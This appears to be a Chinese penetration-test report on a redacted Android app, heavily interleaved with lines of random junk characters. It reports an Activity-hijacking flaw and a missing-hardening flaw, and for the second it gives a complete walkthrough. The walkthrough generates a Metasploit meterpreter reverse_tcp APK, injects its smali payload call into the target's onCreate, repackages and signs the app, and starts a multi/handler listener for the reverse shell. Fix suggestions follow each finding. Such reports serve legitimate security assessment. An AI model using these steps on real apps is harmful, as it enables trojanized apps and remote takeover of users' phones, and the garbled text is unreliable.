9 y e: ~/ Q. s: Y+ c" j
, S$ Q* F* i* X6 U7 Q H) U
$ O, ^$ ?* K S( K! j
3 l4 ?& V1 H) v5 z9 _$ _
' S# k& Z3 E3 H$ C0 {# g+ p2 o; T ~% N
1 [0 |1 l3 @3 r8 @6 @( w
+ H% @# {$ }0 @9 l: }. P8 s) X; e
7 E! o2 k! T! n Z: Z8 Z7 A; V1 W
+ @- K" A& a! U9 A/ A+ i 2 检测结果
) f' T' j' \! _& r& D4 C
8 B8 W5 ^1 }" s( X0 l0 [1 m
/ U, G+ U* {) p. f3 X
. `7 Q: E' l4 S" H/ V8 ~
* _4 Z& D" z' ~9 ^$ r7 {& p$ q1 E
2.1 某某某
" j! g9 Y2 B/ t2 c; t v
3 x: }. |5 d/ _/ }
+ B& n3 o- Q9 A7 _
% p$ I ^5 B3 t R2 W- S9 a7 H + ^- X0 Q5 L& c9 o q& {
i4 s- |3 @0 B- z! p& w( h% w, w 2.1.1检测目标
1 u% m, ?8 }$ O& z- T
9 A( g# d6 n8 z& p7 ?! z' {
- x* ]; x. _/ E; Y1 Q: T
/ S2 f/ V6 U" Q* [
4 t) U0 v$ M( [ C" R
8 c: n5 q; D* |, Y 目标地址: 某某某某某某APP
) j9 j. n* X* R4 u! c2 E ~+ Y, v! g3 `( L6 _) T
7 v0 A7 m* e' b" f: D' j
' J: w0 H6 j# o: s$ T) r t
4 K2 |" m4 n Q. c4 E- K# r4 k
' h6 R( H" k. o( p8 c! ^) W 2.1.2检测结果 & J! i- v& `! f8 J% L; x) A. i
8 F' K# N- F6 C
6 j* P' R, C# E: i; B" F3 i7 b( R$ C
+ v1 Q+ c4 }& [3 {- ^; Y
, ?+ ^0 f9 [# |0 w% A4 R' J; l+ ~7 F3 o6 p- ~; r
2.1.2.1
/ z5 A. h/ P' V6 A6 M1 y/ p! v, { [. x$ o# i' v
9 I$ {; J, F) T" c! a
7 p D, V" q+ f9 j; o6 `5 X4 K
4 z. A/ M6 D I$ A. [2 V B- ^ Z2 Y' p
漏洞链接地址:某某某某某某APP 8 x) Y$ F- G; ~) C( ^
$ k6 I2 V- S! P* T, G4 Z5 d z! \
; ^7 }% b2 a4 M J; h8 Q. }$ I; g+ |' q) l8 G
+ R1 s/ G0 ]9 t$ I3 { @! |0 ^
0 x h* f. H, M* [8 ~: W6 ^
; e5 s- f8 q% C# q; p
/ L8 ~7 ?2 U, O+ y
" m) d% U- _. R' G* d8 @ S
" h" }! d1 _' }* F 5 e- [3 q. i" D7 u! T, t( Q
- Z6 o+ R* O* J" k8 N$ ^ 漏洞分析及取证: : y3 j, o2 ~6 [' Q
, a6 E" e8 {9 {1 R9 R
; A; r+ V& K# T$ |3 D+ k2 G3 z' e2 `7 }
3 v5 c- p" K& M- R) X' [3 Q S4 ~0 m9 ?) p
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
# V( y, h+ ?& R) ^0 q* {" r" I! H. U0 x2 j' {# B8 Y/ K
' @" n3 V Y/ @" W/ Q; K& j. ?0 m$ s
6 y) d0 K$ ~6 i& U' U; w$ R
7 q! ^0 C: k& [+ g / H: @) A0 G% M& I
- b; f" P1 U1 X* |3 T3 e
! J0 r$ M0 |, Q! y# W3 Z6 E5 i5 A0 D5 K7 o1 o
) `6 r) {; V$ M8 i& w5 X% ]$ N
# m# U" d, I* R( [
1 w U2 O; N; ^& I9 k
# Y% B; Q* f% H# P
( ]2 E8 j H4 m& {, n! ~. i& F8 o w: [: m. J x5 L5 T
% w7 x2 o4 e# y9 ^7 P5 O! |
! v+ X* m! A6 q- M1 [, r
$ t0 g L* p& V# T) a: P$ J6 ? H1 K
% J6 b: E% A9 X% o% u
9 g8 O5 D7 C/ B/ F1 ~: a! B: d
' N- R# M- R! I
- H& x& P/ e! w% \% m " ^2 ^ |$ e5 {& ^" y& P$ {" X
7 }: S0 `; O5 M7 F0 |4 K/ Y
% i( ]& V5 R5 g2 d9 P. z% `# } M
7 s* {& B' M4 M1 r- ]) \ 0 B9 X# e# j% G- Q B
Q# m( K" d4 B, I2 l - J5 ^% O0 n6 y% v, A( X
. ?3 X! v) _- w/ B- k3 h
# L* a" K2 N2 @7 a; e6 g9 H( @1 M4 h/ E$ ?! ?) ?) t x" |: U. t
6 b6 V6 |3 `& V$ M+ p! _
0 n% O: v- W; O6 E! H 漏洞危害:高 9 V! ]7 N6 X5 s8 }1 C( W! O
$ S7 P; ?/ p4 t% w+ f e
6 C' [% v7 x7 `. L9 c
4 E- }- M9 D3 U, {# w# J5 O
0 H& X6 ]5 j+ U1 k# I' I! R& X ^+ F, _ ]4 C
; U; q( u4 g& [0 D! G3 q4 m, i
# T+ ]! f W/ `3 f; z; A; s
# V6 `8 U. l* o8 v1 U0 |" ~" q" ?- Z2 i+ B* c# p
/ S% Q5 A7 P" r( t
& i$ b( m( L9 J5 t+ h
/ ^. K y$ M7 B8 a
5 M7 e& d# t2 H" E$ M3 f/ D
! C3 M. l; V' R6 C$ ]9 b
{7 b" u" g2 M" L 严重程度 ' v! u! l6 N% ^( h
) {1 C Q. Q! |1 ]: P - y7 n; s' V+ z: {0 e
* r* T8 z% ^4 I- C) i0 B. t# X
| F4 r2 D* N/ M# z" M2 M e/ }6 Q
& e- P, V3 k8 b) D; Q: a: H) h
0 n4 w- ? Z5 I' E( N- k
7 C3 [: @# X: m: M9 V0 n- r' A
( s/ d7 b: z V6 Y8 y
3 G) `$ n7 ~. i2 y5 J t& h/ x8 w 高
0 @! c" |0 y s- c1 C
$ T+ O `* H _2 v, j0 K% t , ]3 c# Q' w& S" |% T5 B; A) y
) B7 z1 O; u& k: ]2 L/ q# J2 s |
! @+ Z4 @$ z( {. A6 L3 ^' t1 F" N1 o t/ d: j1 K
5 r- @, l5 G _9 {$ X" Y. \) Y) ]: I
f( q1 k6 X& ~ f% d- J; M R: l- x& U) s4 _ ?
■ 4 x; K7 H8 e/ q$ ]
: u7 }6 V% G9 T' K, V- Y2 d ( S1 |- U) }+ h' ?
- X+ ~: M5 `6 n$ J8 c |
- h' C# T5 G- R {8 I! k$ _. M) k0 D7 w
% I/ a0 r* d. l4 f2 ?
, L# `" k; A0 N; V6 P, O7 a; A
- W) F: s' d7 A5 x7 k
% N8 X6 @5 F4 `1 v9 r% r t( y0 j
中
/ o. q& x/ D) _/ ~8 _% D% f
# D6 W. _2 j: }1 x" {
9 ^1 v& J% X3 c1 ]3 }
' S7 B8 f; I/ {6 Z$ \0 J | 8 n% ]" d: B3 M2 ?! F
; e7 [9 e* }/ r% ^9 c8 M, ]
: J2 Y7 {" i) Y1 c
6 x: C4 {+ _! f! j' W
2 ?' U1 [6 s1 V2 S) [0 S( }
" \1 |3 A) u) L& l/ C) P5 E6 s
# D% W* [6 j8 x. u+ }6 q0 E3 q
$ a \6 m9 S$ x( X' `* R
" |, t$ P$ C' Q+ A* i X% p
/ ]8 r, E; i" `) ^' \. j3 d | ' t7 D" w8 d+ {+ k! r: P3 J
5 d6 S" ~ ?/ u1 N% j7 B5 ~" H& Z! E3 @
6 r, ^0 T: k7 W2 |4 x* E) _. G& N
x9 E1 Z" d* {+ B2 C5 @8 `# S! f! G
* k( R4 b, w9 q; `9 `, a) c
低
4 _1 ^2 U; c- [# X* f) u
: U4 S Q B$ z" j+ e- \0 Z$ L0 y' \
- B4 `4 z" \) x6 e2 m: `/ f' U8 D7 h# v9 J C8 k
|
; E; `1 \1 a# W, K5 s) y* u$ ~5 I. j# h: e9 T6 p- t& O0 _7 P1 x: F
" F f% _5 `: t4 V- e1 `) a6 F, Z' [" ]
6 S6 S$ I' W$ F2 V3 C8 g3 r1 ?, u2 @% S4 o1 m4 J
* Q5 i0 k% \2 F1 L
" o/ m3 X! n8 O
+ O& W: P% T. T4 I" g, M& j d
& y: F3 N+ r T6 G8 _" y, ] |
- O2 P. N/ I' d3 {; b& m8 [; U$ F/ ?9 f# {" q. F
3 ]" t5 e! J/ Y$ s+ u
4 j3 a0 @6 C5 k1 l8 q9 O! Q u6 `% h+ T1 ]" U7 P) n8 B0 ^3 V" q
* P. {+ |; c" p, w" R
: {: \- F+ ?6 z" q" `/ X, @1 L" H4 [- M, R1 M2 q
+ t; E* [. \& w# ]# \/ h4 r" d2 V% {* q- z+ L
6 N+ \& O4 P( p6 {& q
) g \: Y5 o+ m% ^9 S/ }$ ` [
0 y9 B0 g, B$ d1 T/ g9 j/ @9 o# m$ A4 p, h. f+ ~1 W
! @/ Z; D2 B2 o* `6 e5 G$ H
+ R1 w* R4 P1 ^4 u
% A/ S$ Y9 y6 F& P- P8 _2 @# G. \2 G2 q8 `( D
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ) m* N$ U, M% L& |4 G" r
5 C( V5 ]2 C7 _% b7 u0 Q! E
7 {6 J$ @$ s0 P, C% n! H
, B: E& {7 T! r2 N4 M/ ^
8 x; o' r& r% u/ o! | q7 y* o" w) h4 d6 n; k
- D. p& z/ p1 C9 Y6 o) ]8 P$ k
6 h& b1 C: T" ^2 x1 X9 n
M9 [2 _2 ~7 x+ S( h( H6 L1 A3 d$ o3 b2 [+ h# u3 g9 n4 D n
8 [. L6 ~& ]8 I, I- ?' A* i2 s; h/ z* u
+ Z" T8 `4 K* F
. b6 v$ b5 J8 `; h8 C" _
' U* S" B4 g9 h6 D$ M b' c. Q+ G( x L
+ i5 U* O9 d9 e6 N- A' I
' a }) S8 R1 k0 i3 `2 r 2.1.2.2
; Y& t7 @) z$ @$ ] F- _
& O) Z' d- L, c; J8 b9 o
+ o1 f, p- N. N7 U( r% e9 W8 Q
9 }+ ]1 O9 H+ E+ H6 I8 V2 O0 u 8 W6 q+ E* _* {
/ z+ e( G/ F6 B2 t3 | p! p! B7 c
漏洞链接地址:某某某某某某APP ' b4 |% G( ?, H7 F& u
% O9 n+ w/ O; T, x+ q" U
, D- R" S: y9 z- m9 p4 C
: a) e3 p" ]- f3 e6 \1 Q! g
1 \/ i& ~ c( `1 B
6 `! [# |! `: T- J& P/ ? 漏洞分析及取证:
# c6 a8 [% |9 t2 G- q: b0 Y& F3 q: u* r0 j( W! @. O! f9 M o6 K
. ^1 `/ P/ W; O( Y
% t# y# ]) }: z/ ^* q" G
' a# Y# K9 c+ ?9 m0 r* [ N1 d5 D6 q( E0 i
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
1 Z, X* l g. H4 R! b
0 k- e1 l H2 j6 G7 S6 t: I
5 j' E- p3 Y; E w' L% n r- T! p7 d0 e! t( i; h7 S9 p
- H& J! t1 Y( @) {8 t4 q0 e4 z/ E! _! c0 a( X
用Metasploit 生成木马 apk 2 @; M/ h7 T4 ?- t7 F& D
" Y4 m* O9 l+ J
' w( `! a' h: m, S$ c
. c7 I! \: v. R3 m+ R
# x2 O, X$ D6 C7 l/ R
; Z5 j( T0 k) I msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
' B% @$ g8 {+ ]" ?3 [
: X9 L" T5 v+ N' o9 J' w/ }
& ^2 v" p0 Y9 X$ j
g+ u8 P! P3 T" j6 Y( Q5 K, D
7 e- l4 F2 d$ z) u
0 C' h! L1 _0 M6 z- [, _7 m& o 反编译目标apk和木马apk 0 Q1 f. y# A. r( _& q
8 n3 }" l% ~ x/ e* D" ]1 N2 p( x
/ l% S/ a9 C" I# Q4 N$ B
5 }& V) u/ j5 b# H
2 X4 b: T5 y {+ l( E
/ e0 T$ e) j! O6 f ?; s apktool d target.apk
Y- a* N, F+ k. C! r% M9 s7 O
/ L+ }. |0 o B5 ?% ?
apktool d cockhorse.apk ( @/ k, I2 n+ n9 P7 R* _7 a' }
3 O1 s8 Q! _ s% N1 K7 D4 K
. O5 o, t# ^& R
2 b; v. R2 N2 o I! x1 A3 k
1 n* d# ~0 \3 x7 V) V0 v+ s* ]1 i' D; I$ `7 W ]" h- q
木马 apk 注入目标 apk 5 N/ r' X! V: Y F* \
( U' m8 ]5 R# W! c5 M; }$ u6 W$ ?0 O
' P" d1 R/ K6 i4 e# ~0 m5 {9 W$ @5 }% U) G
2 V n F1 M3 k' ?5 K5 N: M) E) h. H; S
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
5 [% q& q1 O# f& p6 M
6 ^2 s% v$ h1 I; Z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 5 |2 Z( C( W; U/ [4 ]
# q; a/ u# k9 _5 u- C+ i
^. t6 P. N5 g$ K9 v
b3 z. e0 X( ~: t
' O. ?: w# b; G( \( a* t f9 e0 I
q( G$ _/ B' D P1 I 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
5 G" @5 j L# j6 W' b4 \( z$ x5 D M$ }$ z2 e) r! S$ h
* R4 M( G4 P, @( B* r. P( U
1 p: `; Y1 F0 N9 _1 y: c% Q
3 I- k! `- ?( f$ l" B; f: q" Y, W \
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
3 E- N4 j8 _6 ]2 {/ u
$ C1 m) E6 @+ l" A3 _ {
; |: v D' ^1 j" B' @
7 }5 Q* X. E6 u+ ]4 p
/ e! k# G0 Q5 |
: n p2 S" X5 p; \ Q f" W; B 回编译生成最终 apk
! I5 s4 M4 g% N. c- x- |7 r/ J, I
) ?% \( l& d0 }. B }2 v) Q3 n i+ U
9 y! N* u) ?5 ?- ]# K
$ p& G; v o$ ^# Z$ e
! B8 m. I, J% l7 S% x
' X, F i2 o4 ~9 C' F 重新打包 4 C7 C* G+ H+ x1 m. z
1 K( p' b: P r( V0 |/ Z t
$ d7 a. O4 F G+ Q# ]: a# y$ S. [4 [- |- b* c5 ]" [
6 ~6 x% h1 T# r$ ]. l6 @$ R8 T {9 h2 x |. H
apktool b -o repackage.apk target_app_floder
/ n" u& f+ P: ^9 R
$ m$ I* X( o0 ^1 c- W1 |
( p$ d+ C5 e4 O' K' h7 M! i
6 u( z8 `; Y! o* R- b5 m8 W
8 t) a! `# t$ Y8 v% U' ^3 e$ Y
5 u; `( m0 y9 p8 b7 u& T6 } 创建签名文件,有的话可忽略此步骤
( g I# d2 {. s; B
* n2 G& G7 n) C P4 }
1 O# { L: f, e& w! Z" s7 \& G* u, |0 Y3 ^0 `: i' s2 u* Q5 f
0 e5 }9 |' e4 S1 p. Y) o
! D3 }( P, `8 a. k keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
9 ^0 |& r9 t# b6 [( n8 Y0 v6 _
8 l9 R: p( B; F# c/ r5 r* D5 K
5 N/ W* C' c4 a
% U u/ L8 y1 j" Q& Q, j
$ o3 d0 |& Q1 ~( }4 r& E; ?6 W1 a! T8 A
签名,以下任选其一
5 P$ w& ~2 I( `( T. b* }2 J- D' K _3 \
+ H, w/ n/ z& l" S G; p! d' K9 T4 c
: h% `2 e$ K, v
6 ]4 D4 L+ X2 A9 I: K: H' ]# q
jarsigner 方式
: }9 \' A* ^6 j/ ^+ h* u0 o
+ \& _, {( A8 k6 j2 t( F% Q
2 n8 D% _* B: u# h, a
0 n6 f* G' ]5 L/ @7 e 3 L+ ?, y# V$ q K( J/ f+ a4 {
9 k% l+ H/ T9 M9 _3 i, z jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
1 V; S1 [2 n' q/ t' V6 n, k& Z3 `+ F& Q: {
) g& e4 ^0 x% X% i6 c2 L5 U! z/ q" Y" Z
& q+ p/ J6 [2 H6 }! u1 X
' @$ }/ E/ I( C8 P apksigner 方式 4 R3 Y' q* ^- j' S: q8 l( l
# a- \1 ]$ g! C$ C
, z$ D. V, t W% I
/ ^1 F! \ E% c: \5 {5 c V8 V5 z, o9 W: N3 b6 v8 `" \; w! q
. Z9 q7 g8 h0 N h( f' x/ a apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
3 C0 g1 ~# X6 W2 e9 ]" C- Z% N6 R
+ t: l" z/ l) e
: \( _0 k. ~8 U$ j" D+ h: w8 i: a% f) Q# z. f$ J
: ]2 D' I% T( x7 s4 X8 |" @) i$ r- K& E; u! C
如需要禁用 v2签名 添加选项--v2-signing-enabled false
) b' u: y% Q6 t
7 Z% O+ \0 x1 w7 E' T0 w( i- p
' U) L+ u. M- j! l
$ ?. ^0 l6 D3 M: M
( x( p6 X. @! t. F. ]. I
, [2 b8 v0 o( _ 验证,以下任选其一 ( w* q- g* s# W0 C5 H& F& n( i
: B4 f' r$ B6 K) N$ X( C
) O1 C4 f) r" N3 Z* [
. W# A, @- o/ d3 S' l* {$ S; j: Y
* M9 g! m2 r% [0 \, D
2 b( H* X; X8 `4 y: I jarsigner方式
1 S1 q: D+ P o/ a8 h( \/ X+ _" |1 e7 y# U. r8 ^. V1 @
6 w1 X" D& a$ g$ c
1 b$ l. w# @+ o3 [
# H; X9 U0 U' X
# S- w9 q s1 v5 j3 G jarsigner -verify repackaged.apk
7 O( t/ ~* D) B$ \5 G) h; l: W$ h
2 G Y. x; O- P/ w4 v& B2 s) t
: g9 s- I9 v' ~1 g' J5 D" Y, q% J( U% H4 C
: p% l% ]: [- C* C; Y3 ^6 U4 e
; o3 b0 Z+ m4 H0 a# n apksigner 方式 1 E- f; t8 @ g0 _+ I( d- J
6 M" M" I. f4 }3 Q* r, C, B6 K$ v
5 }2 x: K2 D q* `0 p/ x4 \- E; S3 X+ H' b- O% Y2 i" g* i$ H9 v
7 w4 k1 F; j# [" |8 s' z, n( P6 h$ g& Y, s
apksigner verify -v --print-certs repackaged.apk
7 m% z+ k( w" g2 O8 K! h
, z0 ~* B& b$ F. M) F& ^6 E
\- }) L! R1 N( s- N+ `' ]
; E$ Q. J! l ]' l
5 S9 H0 V: g7 W# e
1 \6 W" `; r4 h; @
keytool方式 ! n' [8 D4 H3 \! L9 V
$ o) n! T4 b" @# c, z$ _
( _; s: F. J. H" F' J: {$ v' K' d) f" A% o8 c
5 Z) T4 v( Y( s
) p, K" G& A! D" D, t6 ^" A* f" Y( m2 e# Q keytool -printcert -jarfile repackaged.apk 9 @, F% Q- w* d4 m( O1 | }% c$ e# j
. J) q& Z; S- \# O S
0 O8 W1 M8 Q0 g9 \: r: t1 A
: ?4 Z4 Q7 c! l9 w7 l/ U$ g
2 t p. ` q2 K3 P0 P
) c+ ?. ?. H q1 o 对齐
- j3 n0 t7 O- j: i- g
4 V; J( u" O/ k0 E4 b/ h; E! M
! g3 d6 A$ O2 l7 \8 \; ~* q" \; F
- W! i: X2 `8 ~3 t' l ) l) j1 ~* X* G3 ]- u1 x8 O
8 A5 ^5 }" N- g1 M 字节对齐优化 5 r e7 o3 h) C/ A) \
. H# B3 p5 T0 y$ {0 S. `
/ C; o* g0 Z" A; H& e
2 g4 x! w8 t9 W
8 s' Y+ M' R2 I( j! ^* b# z/ y* q4 D- w2 X- X) v* s) t
zipalign -v 4 repackaged.apk final.apk
3 Z3 q, o. k, ]& H" k' q$ \) a4 x. @2 c/ {/ o% e- e
/ m% l5 g8 O u4 a* F* H
3 }& U+ \9 }: i% R) q ( d2 x G W4 v! [+ I
! E+ o% }0 N# S& H, N6 V/ V+ ^
检查是否对齐
' N8 w, o- c% K# b% x. G6 A. u: y0 Z; d: E8 }
( Q4 O9 X" x& x/ ]( t, q2 b
3 ^3 f! O ~- {! z
2 n: g: W6 J% l. m5 @
8 t* P. w' K' Q1 {5 w" W: s% H
zipalign -c -v 4 final.apk
/ u6 {- s( Q+ @2 o' U0 H
4 e# L1 G9 K, L* p8 M* x& v
% W' b4 ?7 ~% L1 H# I% ~1 ^! i
: }( p2 h* z. Q0 x' X, H
! B8 x0 P y) p$ U: D
' @. X- P! i7 v" ^7 Z* R* Y& s% [3 s
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 D4 a6 F+ o% `& }7 O% S* @
9 G$ r9 O" G) T2 z; Z$ e
1 b# f# [& G! v' R4 ^' j9 ^
. |/ z8 B- D: q1 \% \. x, f ! {) o6 C, y8 n1 d* a* i
8 [8 M7 i* n6 o+ P. E 启动Metasploit控制台,配置参数等待上线
& t# q" G' s4 c% n8 ]9 d) T
- K$ [* |0 S' c8 ^& x/ |
6 ]8 t0 C V, ?2 z" ^! \5 W/ w7 ^ W5 A J
) d3 e0 |& V# \1 i7 O6 r
" h5 m- n* v% L0 j- X e 在终端依次输入如下命令 4 o l# a! Q% I( o% \; z# `9 z
+ r7 U) o2 W1 c: g! C
' F6 Q( d) f4 A. ?( z- d
1 Z# i3 n% U; H+ k6 G 6 M' s. z9 [ l9 P' n5 x! _0 J( ]
: `" @2 H) I7 m; f' S" g
msfconsole 1 D) j0 _2 a0 d
9 y* I7 L6 J' r0 m% Y( a
4 O) C! z- Y5 d" G5 P& w" t6 [9 }
' a* n/ A! B! k. S# r' n9 e5 f1 I
" m" ?# b. s9 B; x5 L. l& z use exploit/multi/handler
+ Z S4 P5 R" Z" j; d
) x; \7 f8 b) A
" R) j7 P3 N' M# g
1 _8 [' I( O P
3 Q! I+ `/ h& p' K. w t6 }
& I" s! J( n( U9 @7 Z+ |& a, \ set PAYLOAD android/meterpreter/reverse_tcp
& c9 g% X$ v- X5 T! A; R
1 o" O2 @5 Q- R, X
1 w! \5 k6 A4 m: D. M( S/ B7 x# |
6 y' k1 y+ k5 K, k s
6 L9 o% z' s! e9 b- G9 a5 z
set LHOST 192.xxx.xx.xx c3 N m' |4 {& x
S8 n' t- U# q$ j: h/ p# g( N# ?1 A2 y
- j: o( Z; t& a; D% X" Y. J4 [8 o m. j7 E7 E( u% i# J7 A
) y6 W4 i* s, U% c
; A7 M% o$ g4 W5 m set LPORT 4444
; I$ ?+ U( f) d: k$ v% l5 S8 c4 G
7 H& r. W5 q' k3 J. S% L/ U9 G! y
: f2 P. e/ F* M$ {) d- }0 O
5 q4 K r* |- \0 N. e: u0 k $ W) ?' z9 d1 N8 L E8 H3 n2 p8 M
. W8 u0 e) ~5 ] J. G* K$ \ exploit
! G$ I2 f3 h1 a0 u
0 H$ L; @$ Q' w- N! y1 i9 X& w
0 X" D3 F: J W( W F7 r5 D
# c! }$ ~8 E( j1 t 7 `) a: ~2 f* C9 o. P1 M4 b
# b" }& H1 u6 [) L' j: r
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
0 w8 y$ i% f* Q; o+ V2 h6 t1 W3 ?- V, d# ?& N! F. V. J: J
3 y* e" ^9 l$ I& Q% e; @! [% U8 h2 F
: G; u7 B* k3 F8 q% I( U6 _$ N7 h. K/ m6 ? B" p, j
漏洞危害:中 5 L2 V# ]+ Q: W* i
/ n" D- r# Y+ d& u1 p! n" ]
2 q- `! t( ]9 m k% {
* ^% U; p3 i2 `$ R
% H* U# O5 t8 w: q' \" L
2 U+ f# m" R' k. \- v
# M2 a5 R* y: \4 z9 A0 ~- [! M7 Z& d
* o/ T0 t5 z: y' Y4 z, [9 B5 R5 i; H
0 @$ r3 U C. x# ?6 G4 @
B& ^3 E$ \6 E% N1 V" x
9 Q0 |# K8 g# ^. E6 f+ d4 ?0 @' j
' L2 q1 I$ |+ c$ J7 _- |0 L5 F2 Y V) H8 Q3 ]
+ S/ p9 A' l/ z$ q
. @! m H9 m+ M2 l* j' c- ?
9 A4 C$ M% y/ y, T: W% z
8 ?4 j& V" X2 @3 O: Y 严重程度 ! @% k1 r5 J( H. l' }( M
" I5 N! O/ ?: t+ K
6 Y2 y# l6 D* T, p7 A; ]! ~8 B! E, ~$ p& z1 B% }4 _3 q
|
. e" T" ]: e; l, `& l
- t8 J$ V0 G3 N! E3 E ) S1 v0 s! h* ^* {9 H5 c. o+ O8 T
% s9 W! X) j9 S1 t; x; U
w0 M+ u8 p/ k e; Q
" j- g8 b; W t8 r" g 高 & E* k! Y1 s6 Q; X' s% P# D6 r5 M
( U+ F2 }3 b, w. A; k1 x7 E% m 8 e) F/ a7 j& M- E0 }3 V
; h$ a6 X0 H- U4 m | ) g( D: Y: P" E* b" {" i* ^ _& D
9 g" u. O0 E$ {) Y
# }7 \. U! q# f% L5 c" |
& A8 V0 r8 ~+ g% O8 l0 L
; w3 w5 B V/ f9 Y6 |4 w) X1 P4 u+ h! u! h* `7 w% \; Q, c) C; ]
■ ; ^+ l) H! ?- K s' ~% E
) x' h4 \+ Y2 E2 ]
# G- E$ k! O: d4 ^
: R' G0 T! z5 s | . U) L2 P% s4 p2 O3 K
: k. \% ]+ ?: `6 B, v1 g; Y
9 m0 G2 v, ]' l$ m8 Y5 s O! I) L. K
( Y1 U' `, U. s) @
7 U/ A5 @$ n+ [- T' U9 y" y/ O; h9 L+ {3 U3 D. |" ^$ ?- b
中 , c& A: j3 w ?
# H; [/ R2 x! C) L) H% f& A 5 t9 n r$ Q4 `1 v
: T* I2 w. P* i5 B3 U1 H5 }! Y
| / n9 r9 f( m q, G0 O3 k# q6 X5 } ]
& i$ \* I( [9 ^ N5 l$ u7 D
+ |4 p7 _1 X$ t' m! x r) _
! |8 o2 a5 D5 a: D7 l% r : H; H! w' T$ o: q" n; z5 a
1 W: t2 c% n8 M8 r. {2 Z0 ]! K
8 q3 }7 E; d8 u3 o! h4 C* X1 ^$ ^* G: q- M% y U6 j+ }' \
9 O2 v' l& Z1 f' F$ u& P1 K
4 [4 t4 y* l; C/ A; M4 H# i8 K$ ]( ^ + }% {1 ]& o" p, \4 L
F2 i I) x! N. H" C) V% _) G' G | ( ` u" v y2 J1 @
3 H, Y) X- l+ C" _ U
# H$ B2 V" ~3 q' `- M8 s* y- V* V; V0 B4 M s3 Q
+ Z; y9 j7 ^% L o
0 ]0 Z2 y* a9 Q+ @3 c+ }
低 & [$ l% k" F. m- d* g, K9 q/ O- l# x. o
- R9 p0 z; W6 e/ _$ e2 h7 A* A
% Z5 r& @0 O* F: E* T
9 a' h% W' F" N L3 O3 d- @* `3 N |
0 C# Q: N) F# V4 \( g' O3 R: N' Z& [8 T* @+ @; I9 I
0 d+ @7 }2 W. W: O( m# D; L0 L( n
; F! f/ B# b: b4 z 1 G. t: ^- L$ R |: e: h6 Q
* q8 j. t* M+ E/ s I x {: Q 2 h/ i6 L5 e& v" m9 E
0 A! F U+ \* \: d3 i
9 _$ y. L- B {/ P0 M+ U: a; c; r+ c, o2 w( b& \8 w
3 E# a" ?, a- E* a! O& e
: M* l/ _! b+ q0 c | ! h0 d& |- C/ s* `+ ?/ o F
, @' k/ K- o2 ~; w) I& y3 Q9 x0 B
) d' P2 V( D! c5 W w
4 M* \2 X1 }) f6 a8 F
) @- y3 v: a' S w0 r! V
: s1 f! l9 O9 o
& V4 k* O/ v1 M& K2 @
1 d: Y$ e: {6 r: K3 @: J5 {4 S
" q; E) {. \+ Q& \1 K( I- Y s* K
. a, u$ O; G! ^7 C. F; j
0 J F$ t) D7 M0 b, E9 ] j/ k8 D
! ^. u3 y2 z$ T 7 ?4 U4 C2 o5 F
: @! ^+ X( D+ L- H4 V
+ x& F4 _* H) p. o8 ~
$ B6 }; W( Q4 ], q k : F7 J4 h4 `9 W7 `& f0 A1 \
5 r& G, _% T; f9 f1 S$ W 修复方法:
7 N1 M! j$ C: P, }% X/ C3 z
" O1 c9 l9 n6 Z1 |& c, n* Z3 Q8 T
1 d; G6 a+ b. O( |9 m! e, @ ]$ F
! U: b3 Z$ |& r
$ {/ o4 n9 p+ [6 ?' _ 1.在 APP 启动时应做签名校验防止二次打包。
0 o/ {& ^2 s" {$ S( R' s5 ^$ C; ]6 C/ h0 a
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
. ?. f! N3 ?; _: E& y8 n: H: r7 D3 Q; z7 ^
# P; |, N8 O; n
, Z$ ]6 T; C1 b% Y; i; V2 u U" ]
3 p$ {% d+ }5 l! A
0 E- ^+ q. K& ^+ |
% E* D7 T& ]4 X$ \' I7 o, t! G$ [% a+ h" |( F5 y e! z
* p) q( ?5 ~) w$ D# y# Q6 H0 C: ~. M6 E9 d2 V& C
0 v' i/ b) }8 C4 d" C ?
. z m$ o6 k: e7 i" T: z0 s
2 Q( j2 x( i# g, p# k# L1 U% U/ o. F7 v) M& z
4 ~6 H# e7 W8 e4 [+ j0 e7 L8 O
- u4 `) D1 c7 _- I/ H% {0 l% P
8 I; \5 s8 Z+ |6 E: P
; Q6 {; \! P Q; k
" B, {6 D* n0 ]
) }# w9 _. Y; ~6 i$ K- o: R